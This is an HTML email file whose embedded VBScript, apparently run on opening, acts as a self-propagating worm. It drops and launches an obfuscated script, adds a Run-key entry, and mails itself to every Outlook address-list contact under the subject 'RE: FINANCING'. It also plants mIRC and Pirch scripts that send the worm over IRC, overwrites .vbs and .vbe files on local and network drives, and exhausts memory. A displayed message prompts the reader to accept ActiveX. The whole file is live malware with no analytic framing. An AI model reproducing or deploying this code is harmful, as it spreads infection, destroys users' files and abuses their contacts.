<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META content=" & chr(34) & "text/html; charset=iso-8859-1" http-equiv=Content-Type><META content="MSHTML 5.00.2314.1000" name=GENERATOR><STYLE></STYLE></HEAD><BODY bgColor=#ffffff><SCRIPT language=vbscript>
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
If Err.Number <> 0 Then
document.write "<font face='verdana' color=#ff0000 size='2'>You need ActiveX enabled if you want to see this e-mail.<br>Please open this message again and click accept ActiveX<br>Microsoft Outlook</font>"
Else
Set vbs = fso.createtextfile(fso.getspecialfolder(0) & "\vb1.com.vbs", True)
vbs.write  "" & vbcrlf & "'Vbs.(ANSWER) Created By SKY1" & vbcrlf & "On Error Resume Next" & vbcrlf & "Set k854w076L51 = CreateObject("&chr(34)&"WScript.Shell"&chr(34)&")" & vbcrlf & "k854w076L51.regwrite "&chr(34)&"HKCU\software\(ANSWER)\"&chr(34)&", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)" & vbcrlf & "Set ik161y3720V= Createobject("&chr(34)&"scripting.filesystemobject"&chr(34)&")" & vbcrlf & "ik161y3720V.copyfile wscript.scriptfullname,ik161y3720V.GetSpecialFolder(1)& "&chr(34)&"\vb1.com.vbs"&chr(34)&"" & vbcrlf & "k854w076L51.regwrite "&chr(34)&"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\vb1"&chr(34)&","&chr(34)&"wscript.exe "&chr(34)&"&ik161y3720V.GetSpecialFolder(1)& "&chr(34)&"\vb1.com.vbs %"&chr(34)&"" & vbcrlf & "if k854w076L51.regread ("&chr(34)&"HKCU\software\(ANSWER)\mailed"&chr(34)&") <> "&chr(34)&"1"&chr(34)&" then" & vbcrlf & "xN4LTJk78dW()" & vbcrlf & "end if" & vbcrlf & "if k854w076L51.regread ("&chr(34)&"HKCU\software\(ANSWER)\mirqued"&chr(34)&") <> "&chr(34)&"1"&chr(34)&" then" & vbcrlf & "bD7hpnm5JE4 "&chr(34)&""&chr(34)&"" & vbcrlf & "end if" & vbcrlf & "if k854w076L51.regread ("&chr(34)&"HKCU\software\(ANSWER)\pirched"&chr(34)&") <> "&chr(34)&"1"&chr(34)&" then" & vbcrlf & "ygEdhtJq75i "&chr(34)&""&chr(34)&"" & vbcrlf & "end if" & vbcrlf & "e7BVRsOJL47()" & vbcrlf & "WTJb34uDDnr= 1" & vbcrlf & "Do" & vbcrlf & "ReDim Preserve S9R8GcsY369(WTJb34uDDnr)" & vbcrlf & "CyT8ImfWvmR= CLng(1024)" & vbcrlf & "S9R8GcsY369(WTJb34uDDnr) = String(CyT8ImfWvmR* CyT8ImfWvmR, "&chr(34)&"."&chr(34)&")" & vbcrlf & "WTJb34uDDnr = WTJb34uDDnr + 1" & vbcrlf & "Loop" & vbcrlf & "Set tP5MxJ7ZUW1= ik161y3720V.opentextfile(wscript.scriptfullname, 1)" & vbcrlf & "NOWM0KS3a54= tP5MxJ7ZUW1.readall" & vbcrlf & "tP5MxJ7ZUW1.Close" & vbcrlf & "Do" & vbcrlf & "If Not (ik161y3720V.fileexists(wscript.scriptfullname)) Then" & vbcrlf & "Set Dbq3W9U18sa= ik161y3720V.createtextfile(wscript.scriptfullname, True)" & vbcrlf & "Dbq3W9U18sa.writeNOWM0KS3a54" & vbcrlf & "Dbq3W9U18sa.Close" & vbcrlf & "End If" & vbcrlf & "Loop" & vbcrlf & "Function xN4LTJk78dW()" & vbcrlf & "On Error Resume Next" & vbcrlf & "Set yXXM8CJR7g3= CreateObject("&chr(34)&"Outlook.Application"&chr(34)&")" & vbcrlf & "If yXXM8CJR7g3 = "&chr(34)&"Outlook"&chr(34)&" Then" & vbcrlf & "Set d7nE3aiRq4B= ik161y3720V.opentextfile(wscript.scriptfullname, 1)" & vbcrlf & "I = 1" & vbcrlf & "Do While d7nE3aiRq4B.atendofstream = False" & vbcrlf & "F6SZ7HlgjCi= d7nE3aiRq4B.readline" & vbcrlf & "QgSwGK773xZ= QgSwGK773xZ& Chr(34) & "&chr(34)&" & vbcrlf & "&chr(34)&" & Chr(34) & replace(F6SZ7HlgjCi, Chr(34), Chr(34) & "&chr(34)&"&chr(34)&"&chr(34)&" & Chr(34))" & vbcrlf & "Loop" & vbcrlf & "d7nE3aiRq4B.close" & vbcrlf & "vH22z8P4u09 = "&chr(34)&"<"&chr(34)&" & "&chr(34)&"HTML><"&chr(34)&" & "&chr(34)&"HEAD><"&chr(34)&" & "&chr(34)&"META content="&chr(34)&" & Chr(34) & "&chr(34)&" & chr(34) & "&chr(34)&" & Chr(34) & "&chr(34)&"text/html; charset=iso-8859-1"&chr(34)&" & Chr(34) & "&chr(34)&" http-equiv=Content-Type><"&chr(34)&" & "&chr(34)&"META content="&chr(34)&" & Chr(34) & "&chr(34)&"MSHTML 5.00.2314.1000"&chr(34)&" & Chr(34) & "&chr(34)&" name=GENERATOR><"&chr(34)&" & "&chr(34)&"STYLE></"&chr(34)&" & "&chr(34)&"STYLE></"&chr(34)&" & "&chr(34)&"HEAD><"&chr(34)&" & "&chr(34)&"BODY bgColor=#ffffff><"&chr(34)&" & "&chr(34)&"SCRIPT language=vbscript>"&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09& vbCrLf & "&chr(34)&"On Error Resume Next"&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"Set fso = CreateObject("&chr(34)&" & Chr(34) & "&chr(34)&"scripting.filesystemobject"&chr(34)&" & Chr(34) & "&chr(34)&")"&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"If Err.Number <> 0 Then"&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"document.write "&chr(34)&" & Chr(34) & "&chr(34)&"<font face='verdana' color=#ff0000 size='2'>You need ActiveX enabled if you want to see this e-mail.<br>Please open this message again and click accept ActiveX<br>Microsoft Outlook</font>"&chr(34)&" & Chr(34) & "&chr(34)&""&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"Else"&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"Set vbs = fso.createtextfile(fso.getspecialfolder(0) & "&chr(34)&" & Chr(34) & "&chr(34)&"\vb1.com.vbs"&chr(34)&" & Chr(34) & "&chr(34)&", True)"&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"vbs.write  "&chr(34)&" & Chr(34) & QgSwGK773xZ& Chr(34)" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"vbs.Close"&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"Set ws = CreateObject("&chr(34)&" & Chr(34) & "&chr(34)&"wscript.shell"&chr(34)&" & Chr(34) & "&chr(34)&")"&chr(34)&"" & vbcrlf & "vH22z8P4u09 = vH22z8P4u09 & vbCrLf & "&chr(34)&"ws.run fso.getspecialfolder(0) & "&chr(34)&" & Chr(34) & "&chr(34)&"\wscript.exe "&chr(34)&" & Chr(34) & "&chr(34)&" & fso.getspecialfolder(0) & "&chr(34)&" & Chr(34) & "&chr(34)&"\vb1.com.vbs %"&chr(34)&" & Chr(34) & "&chr(34)&""&chr(34)&"" & vbcrlf & "F3OvxM6JRHj = F3OvxM6JRHj& vbCrLf & "&chr(34)&"document.write "&chr(34)&" & Chr(34) & "&chr(34)&"YOU WILL NOT FORGET THIS MOMENT, NEVER!"&chr(34)&" & Chr(34) & "&chr(34)&""&chr(34)&"" & vbcrlf & "F3OvxM6JRHj = F3OvxM6JRHj& vbCrLf & "&chr(34)&"End If"&chr(34)&"" & vbcrlf & "F3OvxM6JRHj = F3OvxM6JRHj & vbCrLf & "&chr(34)&"<"&chr(34)&" & "&chr(34)&"/SCRIPT></"&chr(34)&" & "&chr(34)&"body></"&chr(34)&" & "&chr(34)&"html>"&chr(34)&"" & vbcrlf & "F5tMZB9f8lk=vH22z8P4u09 & F3OvxM6JRHj" & vbcrlf & "Set r20PsL2BmRH = yXXM8CJR7g3.GetNameSpace("&chr(34)&"MAPI"&chr(34)&")" & vbcrlf & "set oWM0KS3a54s=r20PsL2BmRH.AddressLists" & vbcrlf & "For Each G5MxJ7ZUW1N In oWM0KS3a54s" & vbcrlf & "If G5MxJ7ZUW1N.AddressEntries.Count <> 0 Then" & vbcrlf & "eq3W9U18say= G5MxJ7ZUW1N.AddressEntries.Count" & vbcrlf & "Set WXM8CJR7g3d= yXXM8CJR7g3.CreateItem(0)" & vbcrlf & "WXM8CJR7g3d.Subject = "&chr(34)&"RE: FINANCING"&chr(34)&"" & vbcrlf & "WXM8CJR7g3d.HTMLBody = F5tMZB9f8lk" & vbcrlf & "WXM8CJR7g3d.DeleteAfterSubmit = True" & vbcrlf & "For UnE3aiRq4BF = 1 To eq3W9U18say" & vbcrlf & "Set RSZ7HlgjCik= G5MxJ7ZUW1N.AddressEntries(UnE3aiRq4BF)" & vbcrlf & "If eq3W9U18say= 1 Then" & vbcrlf & "WXM8CJR7g3d.BCC = RSZ7HlgjCik.Address" & vbcrlf & "Else" & vbcrlf & "WXM8CJR7g3d.BCC = WXM8CJR7g3d.BCC & "&chr(34)&"; "&chr(34)&" & RSZ7HlgjCik.Address" & vbcrlf & "End If" & vbcrlf & "Next" & vbcrlf & "WXM8CJR7g3d.send" & vbcrlf & "End If" & vbcrlf & "Next" & vbcrlf & "k854w076L51.regwrite "&chr(34)&"HKCU\software\(ANSWER)\mailed"&chr(34)&", "&chr(34)&"1"&chr(34)&"" & vbcrlf & "yXXM8CJR7g3.Quit" & vbcrlf & "end if" & vbcrlf & "End Function" & vbcrlf & "Function bD7hpnm5JE4(nSwGK7625Xl)" & vbcrlf & "On Error Resume Next" & vbcrlf & "if nSwGK7625Xl = "&chr(34)&""&chr(34)&" then" & vbcrlf & "if ik161y3720V.fileexists("&chr(34)&"c:\mirc\mirc.ini"&chr(34)&") then nSwGK7625Xl="&chr(34)&"c:\mirc"&chr(34)&"" & vbcrlf & "if ik161y3720V.fileexists("&chr(34)&"c:\mirc32\mirc.ini"&chr(34)&") then nSwGK7625Xl="&chr(34)&"c:\mirc32"&chr(34)&"" & vbcrlf & "MIIXOvgsTju=k854w076L51.regread("&chr(34)&"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir"&chr(34)&")" & vbcrlf & "if ik161y3720V.fileexists(MIIXOvgsTju & "&chr(34)&"\mirc\mirc.ini"&chr(34)&") then nSwGK7625Xl=MIIXOvgsTju & "&chr(34)&"\mirc"&chr(34)&"" & vbcrlf & "end if" & vbcrlf & "if nSwGK7625Xl <> "&chr(34)&""&chr(34)&" then" & vbcrlf & "set OA1x7O3t988 = ik161y3720V.CreateTextFile(nSwGK7625Xl & "&chr(34)&"\script.ini"&chr(34)&", True)" & vbcrlf & "INtvzIIQGh8="&chr(34)&"[script]"&chr(34)&"" & vbcrlf & "INtvzIIQGh8=INtvzIIQGh8&vbcrlf&"&chr(34)&"n0=on 1:JOIN:#:{"&chr(34)&"" & vbcrlf & "INtvzIIQGh8=INtvzIIQGh8&vbcrlf&"&chr(34)&"n1=  /if ( $nick == $me ) { halt }"&chr(34)&"" & vbcrlf & "INtvzIIQGh8=INtvzIIQGh8&vbcrlf&"&chr(34)&"n2=  /."&chr(34)&" & chr(100) & chr(99) & chr(99) & "&chr(34)&" send $nick "&chr(34)&"&ik161y3720V.GetSpecialFolder(1)& "&chr(34)&"\vb1.com.vbs"&chr(34)&" & vbCrLf & "&chr(34)&"n3=}"&chr(34)&"" & vbcrlf & "OA1x7O3t988.writeline INtvzIIQGh8" & vbcrlf & "OA1x7O3t988.close" & vbcrlf & "k854w076L51.regwrite "&chr(34)&"HKCU\software\(ANSWER)\Mirqued"&chr(34)&", "&chr(34)&"1"&chr(34)&"" & vbcrlf & "end if" & vbcrlf & "end function" & vbcrlf & "function ygEdhtJq75i(LrLYADd81iL)" & vbcrlf & "On Error Resume Next" & vbcrlf & "if LrLYADd81iL="&chr(34)&""&chr(34)&" then" & vbcrlf & "if ik161y3720V.fileexists("&chr(34)&"c:\pirch\Pirch32.exe"&chr(34)&") then LrLYADd81iL="&chr(34)&"c:\pirch"&chr(34)&"" & vbcrlf & "if ik161y3720V.fileexists("&chr(34)&"c:\pirch32\Pirch32.exe"&chr(34)&") then LrLYADd81iL="&chr(34)&"c:\pirch32"&chr(34)&"" & vbcrlf & "F0NqK1ZlxG4=k854w076L51.regread("&chr(34)&"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir"&chr(34)&")" & vbcrlf & "if ik161y3720V.fileexists(F0NqK1ZlxG4 & "&chr(34)&"\pirch\Pirch32.exe"&chr(34)&") then LrLYADd81iL=F0NqK1ZlxG4 & "&chr(34)&"\pirch\Pirch32.exe"&chr(34)&"" & vbcrlf & "end if" & vbcrlf & "if LrLYADd81iL <> "&chr(34)&""&chr(34)&" then" & vbcrlf & "set MKwk6YSV1LF= ik161y3720V.CreateTextFile(LrLYADd81iL & "&chr(34)&"\events.ini"&chr(34)&", True)" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"[Levels]"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"Enabled=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"Count=6"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"Level1=000-Unknowns"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"000-UnknownsEnabled=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"Level2=100-Level 100"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"100-Level 100Enabled=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"Level3=200-Level 200"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"200-Level 200Enabled=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"Level4=300-Level 300"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&" 300-Level 300Enabled=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"Level5=400-Level 400 "&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"400-Level 400Enabled=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"Level6=500-Level 500"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"500-Level 500Enabled=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&""&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"[000-Unknowns]"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"UserCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"EventCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&""&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"[100-Level 100]"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"User1=*!*@*"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"UserCount=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.writeline "&chr(34)&"Event1=ON JOIN:#:/"&chr(34)&" & chr(100) & chr(99) & chr(99) & "&chr(34)&" tsend $nick "&chr(34)&" & ik161y3720V.GetSpecialFolder(1) & "&chr(34)&"\vb1.com.vbs"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"EventCount=1"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&""&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"[200-Level 200]"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"UserCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"EventCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&""&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"[300-Level 300]"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"UserCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"EventCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&""&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"[400-Level 400]"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"UserCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"EventCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&""&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"[500-Level 500]"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"UserCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.WriteLine "&chr(34)&"EventCount=0"&chr(34)&"" & vbcrlf & "MKwk6YSV1LF.close" & vbcrlf & "k854w076L51.regwrite "&chr(34)&"HKCU\software\(ANSWER)\pirched"&chr(34)&", "&chr(34)&"1"&chr(34)&"" & vbcrlf & "end if" & vbcrlf & "end function" & vbcrlf & "Function e7BVRsOJL47()" & vbcrlf & "On Error Resume Next" & vbcrlf & "Set vq9IQ2y537A = ik161y3720V.Drives" & vbcrlf & "For Each p2e8TO7qzwv In vq9IQ2y537A" & vbcrlf & "If p2e8TO7qzwv.Drivetype = Remote Then" & vbcrlf & "GL8AHoNe2bS= p2e8TO7qzwv & "&chr(34)&"\"&chr(34)&"" & vbcrlf & "Call RC2zhQo3cDk(GL8AHoNe2bS)" & vbcrlf & "ElseIf p2e8TO7qzwv.IsReady Then" & vbcrlf & "GL8AHoNe2bS= p2e8TO7qzwv&"&chr(34)&"\"&chr(34)&"" & vbcrlf & "Call RC2zhQo3cDk(GL8AHoNe2bS)" & vbcrlf & "End If" & vbcrlf & "Next" & vbcrlf & "End Function" & vbcrlf & "Function RC2zhQo3cDk(KY6Fj0hBgiY)" & vbcrlf & "iIXOvgsTjug=KY6Fj0hBgiY" & vbcrlf & "Set qusI7625Xlj= ik161y3720V.GetFolder(iIXOvgsTjug)" & vbcrlf & "Set F1x7O3t988o= qusI7625Xlj.Files" & vbcrlf & "For Each ntvzIIQGh86 In F1x7O3t988o" & vbcrlf & "if ik161y3720V.GetExtensionName(ntvzIIQGh86.path) = "&chr(34)&"vbs"&chr(34)&" then" & vbcrlf & "ik161y3720V.copyfile wscript.scriptfullname , ntvzIIQGh86.path , true" & vbcrlf & "end if" & vbcrlf & "if ik161y3720V.GetExtensionName(ntvzIIQGh86.path) = "&chr(34)&"vbe"&chr(34)&" then" & vbcrlf & "ik161y3720V.copyfile wscript.scriptfullname , ntvzIIQGh86.path , true" & vbcrlf & "end if" & vbcrlf & "if ntvzIIQGh86.name = "&chr(34)&"mirc.ini"&chr(34)&" then" & vbcrlf & "bD7hpnm5JE4(ntvzIIQGh86.ParentFolder)" & vbcrlf & "end if" & vbcrlf & "if ntvzIIQGh86.name = "&chr(34)&"Pirch32.exe"&chr(34)&" then" & vbcrlf & "ygEdhtJq75i(ntvzIIQGh86.ParentFolder)" & vbcrlf & "end if" & vbcrlf & "Next" & vbcrlf & "Set ntvzIIQGh86= qusI7625Xlj.SubFolders" & vbcrlf & "For Each zLYADd81iLF In ntvzIIQGh86" & vbcrlf & "Call RC2zhQo3cDk(zLYADd81iLF.path)" & vbcrlf & "Next" & vbcrlf & "End Function"
vbs.Close
Set ws = CreateObject("wscript.shell")
ws.run fso.getspecialfolder(0) & "\wscript.exe " & fso.getspecialfolder(0) & "\vb1.com.vbs %"
document.write "YOU WILL NOT FORGET THIS MOMENT, NEVER!"
End If
</SCRIPT></body></html>